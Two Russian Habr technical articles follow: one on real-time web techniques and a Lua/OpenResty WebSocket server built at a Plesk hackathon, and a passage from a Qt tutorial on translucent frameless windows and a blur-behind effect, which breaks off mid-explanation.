[![](https://habrastorage.org/r/w1560/webt/p-/u9/l2/p-u9l27ynelxi92bcmdxhu76ma8.png)](https://cloud.timeweb.com/vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub)
https://habr.com/ru/post/689804/
null
ru
null
# Эволюция real-time Web: примеры из практики (или с чем Lua справляется лучше JS) Карантин и переход на удаленку наводят на ностальгические воспоминания о полном жизни офисе, когда вместо звонков и трансляций мы работали и собирались на хакатонах в одной комнате с коллегами. Сегодня вспомним хакатон, где мы писали веб-сервер на Lua, а заодно кратко пробежимся по истории развития real-time web. Под этим термином мы будем понимать технологии, которые позволяют делать в браузере вещи, сравнимые по UX с десктопными приложениями — когда отклик на действия или события приходит сразу. Вспомним, как это делалось раньше, как делается сейчас, сравним существующие решения и расскажем, что и как используем сами. Видео-версию оригинального доклада можно посмотреть [на нашем канале](https://www.youtube.com/watch?v=mPJ4sDJ9WEY). История ------- ### iframe Начнем с начала нулевых — многие, наверное, помнят чаты на iframe. Сейчас уже сложно назвать это real-time технологией, но тем не менее. Принцип работы — в HTML-документ с помощью тега *iframe* встраивается содержимое другой веб-страницы — например, блок с чатом в игре. При обновлении этой встроенной части вся остальная страница не обновляется. ![](https://habrastorage.org/r/w1560/webt/iz/3k/dv/iz3kdvmp-6oqwnkm7zay4wlqa4e.png) Технология очень старая, и хотя кое-где используется до сих пор, отказ от нее начался еще с момента появления AJAX. ### Polling На скриншоте — Network-лог в Chrome, куда мы ходили и проверяли, появились ли у нас новые данные о прогрессе задач в Plesk. ![](https://habrastorage.org/r/w1560/webt/yy/4c/ui/yy4cuiz5duvgcekmegy3_rdrway.png) Предположим, что запрос отправляется каждые 5 секунд и суммарно включает примерно 1 Кб данных. За час накопится уже 1 Мб, и это лишь одна из проблем. Другая — это то, что в течение этих 5 секунд мы не получаем никаких обновлений — то есть минимальная задержка между событием и реакцией становится равна 5 секундам. Такая технология называется polling (от слова poll — опрос). Она очень простая в реализации — есть веб-сервер, который отдает ответы, есть клиент, который может посылать запросы с какой-то периодичностью. Всё просто, но существенными минусами являются задержки (мы не получаем события) и высокий объем трафика. Поэтому на этой же основе был разработан long polling. ### Long polling Его отличие состоит в том, что сервер не дает ответа до тех пор, пока не появятся данные, запрошенные клиентом. Опять-таки реальный скриншот из Plesk — это лог-браузер. Мы ждем, когда в логе появятся какие-то данные, посылаем запрос и сервер в бесконечном цикле ждет, когда же эти данные появятся. ![](https://habrastorage.org/r/w1560/webt/4p/ax/uz/4paxuz32fmkjn1aamsisum6lvkg.png) Когда данные появляются, он формирует нужную структуру и отдает ее в запросе. На этом запрос заканчивается, клиент получает необходимые данные и шлет новый запрос. Есть и ограничения: сервер не может держать открытый запрос больше 10 минут, поэтому при приближении к этому времени он принудительно закрывает запрос с пустыми данными. Ошибок в результате не происходит, клиент просто получает пустой сет данных и шлет новый запрос. Всё вроде бы неплохо, но остается проблема в случае, если данные появляются очень часто. На скриншоте мы видим кусочек, где запрос пошел очень часто — при этом, даже если в запросе данных совсем мало, HTTP-хэдеры и другие накладные расходы всё равно приводят к тому, что трафик будет большой. Итак, плюсы: * не пришлось изобретать какие-то новые технологии, используется привычный нам PHP, Apache, nginx * минимальные задержки для получения данных, то есть на событие получается реагировать практически мгновенно. Минусы: * трафик не уменьшился. * самое главная проблема: угроза упасть в случае DDoS. Количество PHP-процессов ограничено настройками FPM — для Plesk у нас установлено 26 child-процессов. И если число клиентов, которые запрашивают long polling запросы, превышает 26, то 27-й и все последующие просто висят и ждут, когда освободится хотя бы один PHP-процесс. Для клиентов это выглядит как неответ сервера — то есть, для них не то что конкретно long polling, а вообще ничего не работает, просто PHP не доступно. Это плохо, но в Plesk мы с этим пока поделать ничего не можем, потому что другого бэкенда, кроме PHP, у нас нет. Однако в мире существуют различные технологии, которые позволяют делать не блокирующие сервера: например, Facebook использует Python Tornado, Node.js вообще не может быть блокирующим, еще есть Go, в общем, очень много всего придумано. Чуть дальше мы еще вернемся к задаче построения бэкенда. ### WebSocket Следующая технология — WebSocket. Больше 10 лет назад появился такой стандарт, позиционирующийся как новый протокол взаимодействия клиента и сервера. Принцип его работы — постоянное соединение, через которое мы можем в обе стороны передавать данные — от сервера к клиенту, от клиента к серверу. Клиент от сервера с точки зрения этой технологии вообще мало чем отличается. ![](https://habrastorage.org/r/w1560/webt/13/hm/8v/13hm8vgxcdftdbwdtd0_tb7312y.png) Как это всё работает: WebSocket построен над HTTP, то есть клиент (браузер) устанавливает handshake с сервером с помощью HTTP-пакетов, к которым добавлено несколько дополнительных хэдеров. Он говорит “будем апгрейдить это соединение до веб-сокета”, передает версию протокола, специальные ключи для безопасности — чтобы удостовериться что мы действительно WebSocket соединение устанавливаем, — различные сжатия и т.п. Сервер отвечает согласием с определенным хэшом, подтверждающим что это WebSocket-соединение, и больше у нас HTTP-запросы не передаются — всё дальнейшее взаимодействие будет на бинарном протоколе передавать фреймы (в сущности — plain text, просто XOR-ом замаскированный). То есть дальнейший трафик у нас не передает никаких хэдеров и практически отсутствует, если не передаются данные. Кроме самого протокола, появился еще браузерный API для WebSocket — в Javascript мы создаем объект WebSocket и можем подключаться к удаленному серверу. Полноценная поддержка протокола предоставляется всеми современными браузерами, и согласно caniuse.com, доступна 97% пользователей Интернета. ``` var address = (window.location.protocol === 'https:'?'wss://':'ws://') + window.location.host + '/websocket'; var ws = new WebSocket(address); ws.onopen = function() {}; ws.onclose = function(event) {}; ws.onmessage = function(event) {}; ws.onerror = function(error) {}; ws.send(“Hello”); ``` Еще одна задача данного API — это уменьшить сложность всего того, что мы писали ради поллинга и лонг-поллинга: какие-то свои методы по периодичности, таймауты и т.д. — здесь ничего этого нет, и всё очень прозрачно. Как же можно сделать WebSocket сервер? А вот как: #### SocketIO Многие, говоря про WebSocket и клиент-серверное взаимодействие, подразумевают библиотеку Socket.IO, но те плюсы, которые она дает, конкретно нам не очень нужны. Это: кросс-браузерная поддержка (начиная с IE 6) c различными фолбеками, комнаты, channels и так далее, что, наверное, актуально для чатов, но не актуально для наших приложений. Еще там есть авто-переподключение при разрыве связи, которое не составляет труда сделать самостоятельно. Единственное, когда можно было бы использовать Socket.IO — это когда вы пишете приложение на Node.js, чтобы писать его на абсолютно одинаковом коде на сервере и на клиенте. Наверное, это удобно, но мы не пишем. #### WS Давайте посмотрим, как же писать приложения на Node.js, правда, используя не Socket.IO, а библиотеку WS (WebSocket), которая по непроверенным данным со stackoverflow считается одной из самых быстрых, и вообще очень похожа на браузерное API. ``` const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: process.env.PORT || 8080 }); wss.on('connection', function connection(ws) { ws.on('message', function incoming(message) { console.log('received: %s', message); ws.send(message); }); console.log('connection established'); }); console.log('App is running...'); ``` Тут всё очень просто — в этом примере мы в каких-то несколько строчек научились принимать сообщения с браузера и отправлять обратно. Как запускать такие сервера? Для клиентских приложений на Node.js мы в Plesk предлагаем использовать Passenger. И свои тесты мы также проводили с Passenger. #### PHP Ratchet Теперь вернемся к PHP. Есть такая популярная библиотека PHP Ratchet, которая реализует WebSocket протокол на PHP. ``` php use Ratchet\MessageComponentInterface; use Ratchet\ConnectionInterface; class MyChat implements MessageComponentInterface { public function onOpen(ConnectionInterface $conn) {} public function onMessage(ConnectionInterface $from, $msg) {} public function onClose(ConnectionInterface $conn) {} public function onError(ConnectionInterface $conn, \Exception $e) {} } $app = new Ratchet\App('localhost', 8080); $app-route('/chat', new MyChat); $app->route('/echo', new Ratchet\Server\EchoServer, array('*')); $app->run(); ``` Запускается она как command-line скрипт, на сервере слушает какой-то порт и отвечает по нему. То есть, не как привычный нам PHP FPM, который получает реквесты через веб-сервер, а самостоятельно слушает, как привычно нам в Node.js. Это накладывает свои какие-то ограничения на то, что у тебя этот daemon может прилечь, прибит по памяти и т.д., и по идее к нему требуется супервайзер, но это осталось за рамками данного исследования. #### OpenResty (Lua) Следующий пример — OpenResty библиотека для Lua. Здесь мы переходим к тому, чем мы занимались на хакатоне – к задаче написания такого же WebSocket сервера на Lua. ![](https://habrastorage.org/r/w1560/webt/0e/jo/sr/0ejosrdj67uiedom57wq1m4_o4y.png) WebSocket сервер на Lua ----------------------- ### Реализация OpenResty это набор библиотек, которые позволяют добавить в nginx немного функциональности — как например подключение к MySQL, или к Redis, или еще к чему-то. В том числе есть реализация WebSocket протокола, которая позволяет сделать аппликейшн, запускаемый на nginx и отвечающий на запросы клиентов по WebSocket протоколу. Набор этих библиотек большой, у них есть своя сборка nginx, но даже она не обязательна, пока мы не используем много библиотек. Мы взяли конкретную библиотеку и просто подключили ее к nginx, положили в папочку и сказали, что этот контент мы будем обрабатывать с помощью Lua. ``` lua_package_path "/etc/sw-cp-server/lib/?.lua;;"; server { ... location /bus { lua_socket_log_errors off; lua_check_client_abort on; content_by_lua_file "/etc/sw-cp-server/lib/plesk/bus.lua"; } } ``` Вообще Lua очень приятный язык, который теоретически мог бы заменить javascript, и все браузеры обрабатывали бы Lua и мы бы не писали на JS. Но наверное маркетологи не доработали что-то в начале 90х и имеем что имеем. Тем не менее, Lua во многие области внедрился, он очень простой, очень легко, как говорят, написать его реализацию – например, в nginx какая-то своя реализация используется. Вот ею мы и воспользуемся. ``` local server = "resty.websocket.server" local wb, err = server:new{ timeout = 5000, max_payload_len = 65535 } while true do local data, typ, err = wb:recv_frame() if not data then wb:send_ping() elseif typ == "close" then break elseif typ == "ping" then wb:send_pong() elseif typ == "pong" then ngx.log(ngx.INFO, "client ponged") elseif typ == "text" then wb:send_text(data) end end wb:send_close() ``` В действительности код был побольше, потому что каждая функция, так же как в Golang, возвращает error, который нужно обрабатывать — здесь мы опустили всю обработку ошибок, и функционально это весь код, который требуется для работы с клиентом. Итак, чем мы занимались на хакатоне — мы сделали своеобразную шину событий, которая делает публикацию всех событий в Redis. Redis предоставляет реализацию publish-subscribe парадигмы, когда все «подписчики» получают моментальное уведомление о произошедших в очереди событиях. ![](https://habrastorage.org/r/w1560/webt/ab/cg/a3/abcga3tu7ymi-cdca60pyiau8au.png) Мы подписали воркер, который выполняет реальные задачи, на эту очередь, также подписали веб-сервер и тем самым мы получаем события из Plesk моментально, обрабатываем их и отдаем ответы клиенту. На скриншоте видно, что теперь мы получаем информацию о том, что статусы обновились, новые задачи появились, создались новые домены — в общем, любые события из Plesk приходят клиенту. ![](https://habrastorage.org/r/w1560/webt/81/sq/wh/81sqwh-svd_x5z4751_q90mjfjk.png) Задержки минимальные, трафик минимальный, всё очень шустро. ### Проблемы Теперь мы дошли до проблем, с которыми столкнулись. В Plesk очень много бизнес логики и вот какая проблема у нас возникла: у нас есть клиент с определенным sessionId и вот генерируется событие. Возникает вопрос — может ли клиент видеть это событие или не может? За это отвечает бизнес-логика. Чтобы мы пересылали (или не пересылали) через WebSocket это событие, он должен как-то эту логику позвать. Например, она должна быть реализована на том же языке, что и WebSocket сервер. Если мы будем отвечать всё подряд, то мы можем, например, передать имя созданного домена, что, наверное, считается приватной информацией, которую не должны получать все клиенты. ![](https://habrastorage.org/r/w1560/webt/79/cq/m2/79cqm2qen_fs6hqgh07fsglydyy.png) ### Варианты решений #### Отдавать только безопасные данные Соответственно, простейшее решение — отдаем только безопасные данные. У нас нет имен доменов, есть только ID (цифра). На хакатоне мы пошли этим путем и отдаем только безопасные данные. Да, их получается много, но свою задачу мы решили, для прототипа этого достаточно и мы не допустили уязвимостей. #### API Следующее предложение, как это можно реализовать: мы делаем API, которое отвечает на вопрос — можно или нельзя передавать это событие этому клиенту. Как это может работать: API принимает session ID, принимает событие и отвечает “да” или “нет”. В принципе несложно, но, наверное, получится многовато взаимодействий туда-сюда. #### Промежуточное состояние Предложение, которое кажется самым удачным — промежуточное состояние, когда событие до отправки клиенту обрабатывает обработчик, написанный на PHP. Как это может работать: мы получаем события в очереди, достаем ID всех открытых сессий, и проверяем для каждой сессии, можем ли мы этому клиенту отправить это событие. Если да, то генерируем новое событие “отправить такое-то событие для такой-то session ID”, после этого для WebSocket сервера (в данном случае у нас Lua) уже всё готово и понятно, кому нужно отправить такие данные. Кажется, что это решает проблему. Но это дополнительная прослойка, которая должна быть каким-то образом запущена. Измерения и сравнения --------------------- Рассмотрим такой тест — откроем в браузере 250 соединений с сервером. Почему 250 — если пойти чуть дальше, то Chrome отказывается это делать. Наверное у них были для этого какие-то основания и в реальной жизни вряд ли кому-то понадобится с одного окна открывать столько соединений. Но для начала давайте сравним 250. ![](https://habrastorage.org/r/w1560/webt/0f/6s/a8/0f6sa8eqnup4athy_uvggxynnhe.png) На Lua цифры весьма смешные. Стоит сразу сказать, что если мы бы не подключали Lua, то воркер nginx занимал бы примерно 2 Мб, с Lua стало 2.9, разницы практически нет. PHP заметно хуже: сам запущенный процесс занимает довольно весомый объем памяти. Поскольку у нас PHP как daemon, он будет запущен всегда и съедать довольно много памяти, впрочем, с ростом соединений эта цифра растет не слишком сильно. Node.js совсем не порадовал — он тоже используется как интерпретатор, то есть запущен всегда, и съедает 20 Mб, но с ростом соединений объем памяти доходит до сотни. На наш взгляд, неприемлемо в наших условиях. ![](https://habrastorage.org/r/w1560/webt/06/y6/2r/06y62r2nglxnyqu9gplrcsay-wo.png) Ну и, конечно же, всегда интересно устроить краш-тест и попробовать всё уронить – здесь мы говорим скорее о Lua, ведь в том, что развалится всё остальное, сомнений нет :) ![](https://habrastorage.org/r/w1560/webt/xs/1h/w_/xs1hw_jzeuyyzs5dkgqvdy272fs.png) Мы увеличивали число соединений с разных браузеров до тех пор, пока nginx не уперся в лимит и не отказался больше принимать. Получилось порядка 750 открытых соединений, они показывались открытыми напрямую к какому-то порту клиента и при этом съели всего ничего — 12 Mб памяти. Windows версия -------------- В завершение коротко упомянем о про-Windows имплементации, которой мы тоже занимались на хакатоне. Она была реализована на C#, при этом пришлось использовать .NET фреймворк и, как видно в списке процессов, вот тут воркер занимает уже порядка 50 Мб, хотя без .NET он занимал 5 Мб. ![](https://habrastorage.org/r/w1560/webt/b9/0k/_p/b90k_pn17pr7e0oft6qtq1c9zfo.png) Конечно, это всего лишь прототип и Proof-of-Concept, но выводы мы сделали: такая реализация нас не устроит и нужно писать нативные хэндлеры на С++. Попытались сделать Proof-of-Concept, но до конечной реализации не дошли – будет задел на будущее, когда мы снова вернемся в офис хакатонить бок-о-бок с коллегами.
https://habr.com/ru/post/508420/
null
ru
null
# Создаём сложные интерфейсы и спецэффекты на базе Qt. Часть II ![© Х.ф. «Матрица»](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/9b5/397/0a6/9b53970a64fb6e7e255d187c3119a22b.jpg "© Х.ф. «Матрица»")© Х.ф. «Матрица»Привет, Хабр! Меня зовут Михаил Полукаров, я занимаюсь разработкой desktop-версии в команде [VK Teams](https://teams.vk.com/). В первой части я рассказывал о том, как использовать маски и создавать сложные многослойные окна. Под катом этой статьи мы продолжим исследовать возможности Qt Framework, рассмотрим полупрозрачность и управление буксировкой окна, а также реализуем интересный спецэффект. В конце статьи рассмотрим, как можно применить на практике весь, изложенный в этом цикле статей, материал для создания современного демонстрационного приложения. **Примечание 1**. Всё, что приводится в статье, может работать, а может и не работать в зависимости от сочетания программного-аппаратного обеспечения, версии Qt Framework, версии и типа операционной системы и прочих факторов. Весь код, приведённый в статье, проверялся для Qt Framework версии 5.14.1 в ОС Windows 10, Ubuntu 20.1 LTS Linux и macOS Big Sur. Для упрощения понимания весь код реализации методов написан в классе, а в production-коде настоятельно рекомендую такого избегать. Полный код примеров вы сможете найти на [странице проекта в Github](https://github.com/progzdeveloper/HabrQtDemos). Для сборки примеров потребуются установленный Qt Framework и компилятор С++17. **Примечание 2**. Всё, что описывается в статье, вероятно, можно реализовать с использованием Qt QML или других языков программирования и фреймворков. Особо отмечу, что цель статьи — показать, как использовать Qt Framework исключительно с применением классического QWidget-based подхода. ### Frameless окна и полупрозрачность Полупрозрачные окна всегда выглядят эффектно и привлекательно, и на первый взгляд кажется, что с ними не должно возникнуть трудностей. На самом деле сложности здесь могут поджидать в самых неожиданных местах. Необходимо помнить, что, согласно документации Qt, в некоторых ОС нельзя создать полупрозрачное окно без удаления его заголовка. Удалить системный заголовок окна просто — достаточно установить флаги окна следующим образом: `setWindowFlags(windowFlags() | Qt::FramelessWindowHint);` Здесь важно обратить внимание на то, что используется побитовая операция OR между уже установленными флагами и флагом `Qt::FramelessWindowHint`. Это необходимо, чтобы избежать непредвиденного поведения и стиля отображения окна. Если по каким-то причинам получить текущие флаги не представляется возможным, то необходимо явно указать стиль окна (`Qt::Window`, `Qt::Tool` и т.д.), подробное описание всех флагов можно найти в документации Qt. Таким образом, получается, что если мы хотим иметь полупрозрачное окно и единый код на всех основных платформах, то необходимо убрать системный заголовок. Но тут возникает следующая загвоздка: без системного заголовка невозможно изменить размеры или буксировать окно мышью, нельзя свернуть, развернуть, закрыть окно — нет системных кнопок. Дело в том, что системный заголовок помимо предоставления иконки, текста и кнопок отвечает ещё и за изменение размеров и перемещение окна. Значит, если нужна такого рода функциональность, нам потребуется реализовать её вручную: ``` constexpr QPoint kInvalidPoint(-1, -1); class ToolWindow : public QWidget { Q_OBJECT public: explicit ToolWindow(QWidget* _parent) : QWidget(_parent) , pos_(kInvalidPoint) { setWindowFlags(windowFlags() | Qt::FramelessWindowHint); setAttribute(Qt::WA_TranslucentBackground); setMouseTracking(true); setCursor(Qt::OpenHandCursor); resize(256, 256); } protected: void mousePressEvent(QMouseEvent* _event) { if (_event->button() == Qt::LeftButton && _event->modifiers() == Qt::NoModifier) { pos_ = _event->globalPos(); setCursor(Qt::CloseHandCursor); return; } QWidget::mousePressEvent(_event); } void mouseMoveEvent(QMouseEvent* _event) { if (pos_ == kInvalidPoint) return QWidget::mouseMoveEvent(_event); const QPoint delta = _event->globalPos() - pos_; move(pos() + delta); pos_ = _event->globalPos(); } void mouseReleaseEvent(QMouseEvent* _event) { pos_ = kInvalidPoint; setCursor(Qt::OpenHandCursor); QWidget::mouseReleaseEvent(_event); } private: QPoint pos_; }; ``` Код, приведённый выше, позволяет сделать окно, которое можно перетаскивать мышью, нажимая в любом месте окна. Следует обратить особое внимание на использование глобальных координат курсора. Это важно, поскольку в противном случае окно при буксировке будет дёргаться и вести себя неадекватно. ### Добавляем полупрозрачность Этого эффекта можно добиться, как минимум, двумя способами: * Переопределением метода `QWidget::paintEvent()`. * Использованием метода `QWidget::setWindowOpacity()`. Разница между этими подходами в визуальном результате. При использовании `setWindowOpacity()` полупрозрачным становится всё окно, вместе со всеми компонентами внутри. Такой подход удобен, когда необходимо сделать анимацию появления или исчезновения всего окна. При переопределении `paintEvent()` мы можем выбирать, какие компоненты будут полупрозрачными, а какие нет. Этот вариант подходит для постоянного отображения окна. Проиллюстрирую эти возможности, немного поменяв уже написанный выше класс: Код ``` class ToolWindow : public QWidget { Q_OBJECT public: explicit ToolWindow(QWidget* _parent) : QWidget(_parent) , pos_(kInvalidPoint) { setWindowFlags(windowFlags() | Qt::FramelessWindowHint); setAttribute(Qt::WA_TranslucentBackground); setMouseTracking(true); setCursor(Qt::OpenHandCursor); resize(256, 256); button_ = new QPushButton(tr(“Close”), this); connect(button_, &QPushButton::clicked, this, &ToolWindow::close); QVBoxLayout* layout = new QVBoxLayout(this); layout->addWidget(button_, 0, Qt::AlignCenter); // анимация появления/исчезания animation_ = new QPropertyAnimation(this); animation_->setTargetObject(this); animation_->setPropertyName(“windowOpacity”); animation_->setStartValue(0.0); animation_->setEndValue(1.0); animation_->setDuration(500); connect(animation_, &QPropertyAnimation::finished, this, &ToolWindow::onAnimationFinished); setWindowOpacity(0.0); } private Q_SLOTS: void onAnimationFinished() { // проверим что завершилась анимация исчезновения if (animation_->direction() == QPropertyAnimation::Backward && animation_->state() == QPropertyAnimation::Stopped) close(); // вызов close() приведет к вызову closeEvent() } void showEvent(QShowEvent* _event) Q_DECL_OVERRIDE { QWidget::showEvent(_event); // Запускаем анимацию появления animation_->setDirection(QPropertyAnimation::Forward); animation_->start(); } void closeEvent(QCloseEvent* _event) Q_DECL_OVERRIDE { // проверим что анимация исчезновения завершилась if (animation_->direction() == QPropertyAnimation::Backward && animation_->state() == QPropertyAnimation::Stopped) return QWidget::closeEvent(_event); // обрабатываем closeEvent как обычно // Запускаем анимацию исчезновения animation_->setDirection(QPropertyAnimation::Backward); animation_->start(); _event->ignore(); } void paintEvent(QPaintEvent* _event) Q_DECL_OVERRIDE { QPainter painter(this); painter.setOpacity(0.6); painter.fillRect(_event->rect(), Qt::black); } }; ``` Для реализации анимации появления или исчезновения используется следующий трюк. Для анимации появления в `showEvent()` мы запускаем её в прямом направлении от 0 до 1. А при исчезновении запускаем анимацию в обратном направлении. Для того, чтобы понять, в какой момент необходимо запустить эту анимацию, мы используем `closeEvent()`. Дело здесь в том, что `closeEvent()`, в отличие от `hideEvent()`, может быть отменён. Таким образом мы откладываем вызов `closeEvent()` до тех пор, пока не закончится анимация исчезновения, используя механизмы Qt для игнорирования событий. Когда же анимация исчезновения закончена, мы вызываем метод `QWidget::close()`, который приводит к повторному вызову `closeEvent()`,  и на этот раз мы закрываем окно уже обычным способом. ### Blur Behind Blur behind (или back drop) — это спецэффект, заключающийся в размытии фона под окном или его элементом. На картинке ниже показано, как выглядит этот эффект в Windows.  ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/505/d60/7a2/505d607a2ea0811a05329c04998aa70a.png)Чтобы реализовать такой спецэффект для окна, нам в любом случае потребуется писать платформенно-зависимый код. Более того, этот эффект невозможно реализовать на некоторых платформах. Дело в том, что для такого размытия требуется специальная композиция (регион под приложением, регион в самом окне, размытие и окончательная сборка этих частей) которая реализуется в самой ОС. В Linux, например, за это отвечает Composition Manager, в Windows — Desktop Window Manager (DWM). Для macOS такой эффект можно сделать штатным API, для Windows начиная с Windows 8 — только используя недокументированные возможности, для Linux — только для рабочего стола KDE, для остальных (Xfce, Gnome и проч.) такое не поддерживается вовсе. Более подробное описание Blur Behind с использованием нативного API на разных платформах можно найти по [ссылке](https://notes.yvt.jp/Desktop-Apps/Enabling-Backdrop-Blur/). VK Teams используют системообразующие компании и поэтому использование недокументированных функций ОС невозможно, не говоря уже о неполной поддержке на всех платформах. Но тогда, может быть, можно как-то эмулировать этот эффект, если ОС не поддерживает его напрямую? И тут опять ответ, скорее, отрицательный: всё, что я ни пробовал, либо не работает как нужно, либо приводит к артефактам отрисовки, либо поедает слишком много ресурсов процессора и памяти. Однако, в какой-то момент я задал себе вопрос: хорошо, мы не можем сделать blur behind для всего окна, но может быть получится реализовать этот эффект для отдельных компонентов **внутри** окна? Для того, чтобы ответить на этот вопрос нет иного пути, кроме как попробовать реализовать этот эффект самому. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/252/8e7/e1b/2528e7e1b33e1ea719646bedd3e732c2.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/151/1ad/11c/1511ad11c215928cfba0bee58f39477e.png)На рисунках выше показан конечный результат, но прежде чем к нему прийти пришлось немало попотеть.  Итак, сперва нам нужна какая-то стратегия реализации: попробуем пойти самым простым путём — сделаем виджет на всё окно с blur behind, а потом попробуем масштабировать решение на другие варианты. Кроме того, необходимо продумать алгоритм композиции и реализовать само размытие. Сразу оговорюсь, что вариантов алгоритма размытия много и обсуждение их реализации выходит далеко за рамки этой статьи. В итоге я взял несколько готовых реализаций: * [Box Blur](https://stackoverflow.com/questions/16269379/blurring-effect-widget) * [Stack Blur](https://vitiy.info/stackblur-algorithm-multi-threaded-blur-for-cpp) * [Dual Kawase](https://github.com/alex47/Dual-Kawase-Blur) Ещё один важный момент, связанный с размытием изображения. Для экономии ресурсов процессора мы можем использовать следующий трюк: нет необходимости размывать именно оригинальное изображение, можно размыть его уменьшенную копию (такой подход называется downsampling), а затем полученное изображение масштабировать обратно. Теперь мы размываем меньшее по размерам изображение, а значит и тратим меньше ресурсов процессора и памяти. Поскольку само размытие является низкочастотным фильтром, то такой трюк визуально не влияет на конечный результат. Нам же важен именно визуальный эффект, а не точность самого алгоритма.  Важно также обратить внимание на наличие некоторых опций масштабирования изображений, доступных в Qt — `Qt::SmoothPixmapTransform` и `Qt::FastPixmapTransform`. Разница между этими опциями в том, что `Qt::SmoothPixmapTransfrom` использует билинейную интерполяцию (или какую-то из её разновидностей) — это не самый дешёвый в вычислительном плане алгоритм. В таких условиях казалось бы логичным сэкономить, используя быстрое и грубое масштабирование `Qt::FastPixmapTransform`, но визуальный эффект от этого станет хуже. Дело в том, что при `Qt::FastPixmapTransform` происходит грубая интерполяция цветов. Мы рискуем получить на выходе артефакты в виде разноцветных пикселов по краям с резким переходом цветов (в фотографии такой эффект называется *хроматической аберрацией*), которые будут затем масштабированы ещё раз и конечный результат окажется уже совершенно неудовлетворительным. Можно было бы использовать грубую интерполяцию при масштабировании только в большую сторону, но в таком случае мы получим не то, что ожидали — эффект пикселизации вместо размытия. Визуально это выглядит неплохо, но не является нашей целью. Забегая немного вперёд, скажу, что можно также использовать масштабированную отрисовку части виджета. Для этого достаточно установить масштабирование в `QPainter`, который будет передан в метод `QWidget::render()` (речь о нём пойдёт ниже). Такой способ позволяет избежать хроматических аберраций, но приводит к неприятному «подёргиванию» размытого изображения при перерисовке. Алгоритм не успевает полностью размыть изображение между двумя тактами перерисовки и мы вынуждены отрисовывать старое изображение либо на неверной позиции, либо растянув или сжав его по ширине или высоте. Такие визуальные артефакты я счёл неприемлемыми, и в итоге решил остановиться на downsampling в сочетании с `Qt::SmoothPixmapTransform`. Итак, начнем с самой композиции. Будем считать, что мы уже получили необходимое изображение под нашим виджетом. Дальнейший алгоритм выглядит вполне очевидным: * размытие изображения; * отрисовка размытого изображения в переопределённом `paintEvent()`. В коде это будет выглядеть примерно так: ``` void BlurBehindWidget::paintEvent(QPaintEvent* _event) { QPainter painter(this); QImage image = blurImage(image); painter.drawImage(_event.rect(), image, _event.rect()); } ``` Здесь мы размываем изображение при каждом `paintEvent()`. Такое решение будет занимать очень много ресурсов процессора, поскольку мы выполняем тяжелый в вычислительном плане алгоритм размытия при каждой перерисовке, даже если в исходном изображении ничего не поменялось. Чтобы улучшить решение, необходимо перенести размытие в код получения размываемого изображения. Теперь сосредоточимся на том, как именно его получить. Тут существует как минимум три варианта: * Прямая отрисовка через `QWidget::render(…)`. * Получение изображения виджета через `QWidget::grabPixmap()`. * Получение widget baсking store. Теперь необходимо сказать пару слов о каждом методе. Прямая отрисовка — наиболее сложный подход, однако и наиболее контролируемый. В метод `QWidget::render()` передаётся устройство, в которое будет производится отрисовка, в виде указателя на `QPaintDevice`, регион для отрисовки, смещение по x и y, а также флаги отрисовки дочерних виджетов. При использовании этого метода необходимо быть аккуратным и учитывать device pixel ratio — параметр, отвечающий за разрешение (в точках на дюйм) устройства отрисовки. Это важно в первую очередь для поддержки Retina-дисплеев с высоким разрешением. Получение изображения через `QWidget::grabPixmap()`, как ни странно, практически то же самое, что и `QWidget::render()`, его упрощённый вариант. Изучив исходный код этой функции в самом Qt легко увидеть, что в её реализации вызывается `QWidget::render()`. Так что разница между двумя подходами в том, что во втором случае о тонкостях Retina-дисплеев, геометрии на плоскости и прочем за нас уже позаботились разработчики Qt. Ну и, наконец, последний вариант — по сути хак. Дело в том, что если внимательно изучить документацию Qt, то выясняется, что при отрисовке многих виджетов (есть, правда, исключения — о них речь пойдёт ниже) используется внутренний буфер (так называемая двойная буферизация). Исследовав исходный код Qt я обнаружил, что в простых случаях в качестве такого буфера используется `QImage`, более того, этот буфер можно получить следующим кодом: `QImage* image = dynamic_cast(widget->backingStore()->paintDevice());` Такой способ таит в себе множество опасностей — например, мы не можем быть уверены в том, что в качестве backing store в следующем релизе Qt для нужного виджета будет использоваться именно `QImage`, более того, для некоторых виджетов это не так уже сейчас. Получается, что нам остаётся только `grabPixmap()` и `render()` как легальные и относительно безопасные способы захвата виджета в изображение. Если мы попробуем использовать `grabPixmap()`, то желаемого эффекта не получим. Дело в том, что `grabPixmap()` отрисовывает весь виджет вместе с дочерними, то есть и вместе с нашим тоже. Получается, надо при отрисовке каким-то образом исключить из дерева владения наш виджет. Добиться такого можно только с помощью `render()`. Нам будет необходимо пройтись по всем дочерним виджетам и вручную их отрисовать на нужных позициях, попутно исключив себя из этого списка, не забыв про device pixel ratio и про простейшую геометрию на плоскости: ``` QPixmap grabBuffer(QWidget* target, const QRect& r, QWidget* that) { if (target == Q_NULLPTR) return QPixmap{}; if (!target->isAncestorOf(that)) // that должен быть частью дерева target return QPixmap{}; const qreal dpr = target->devicePixelRatioF(); QPixmap pixmapBuffer((QSizeF(r.size() * dpr).toSize()); pixmapBuffer.setDevicePixelRatio(dpr); pixmapBuffer.fill(Qt::transparent); QPainter painter(&pixmapBuffer); const QPoint p = that->mapTo(target, r.topLeft()); const QRect viewportRect(p, r.size()); const QWidgetList children = target->findChildren(QString{}, Qt::FindDirectChildrenOnly); for (auto child : children) { if (child == that || !child->isVisible()) continue; // исключаем себя и невидимые виджеты const QRect geom = child->geometry(); if (!viewportRect.intersects(geom)) continue; // если виджет не пересекается с нашей геометрией не отрисовываем его const QPoint d = geom.topLeft() - p; child->render(&painter, d, child->rect(), QWidget::DrawChildren|QWidget::IgnoreMask); } } ``` Код не кажется простым и изящным, но пока остановимся на таком варианте. ### Пара слов про OpenGL и нестандартные контексты устройств вывода графики Как упоминалось выше для описываемого подхода есть исключения: это нестандартные контексты, такие как OpenGL, DirectX и т.п. В документации Qt указано, что метод `QWidget::render()` не будет работать для, например, `QOpenGLWidget` и его наследников. Для таких классов предлагается использовать `grabFrameBuffer()`. Однако этот метод также будет работать далеко не всегда. Поэтому все описываемые далее подходы применимы только для стандартных виджетов. ### Момент захвата изображения Теперь остаётся ещё один важный шаг: определиться с тем в какой именно момент мы будем захватывать изображение нижележащего виджета. Логичным, на первый взгляд, будет перехват `QPaintEvent` и 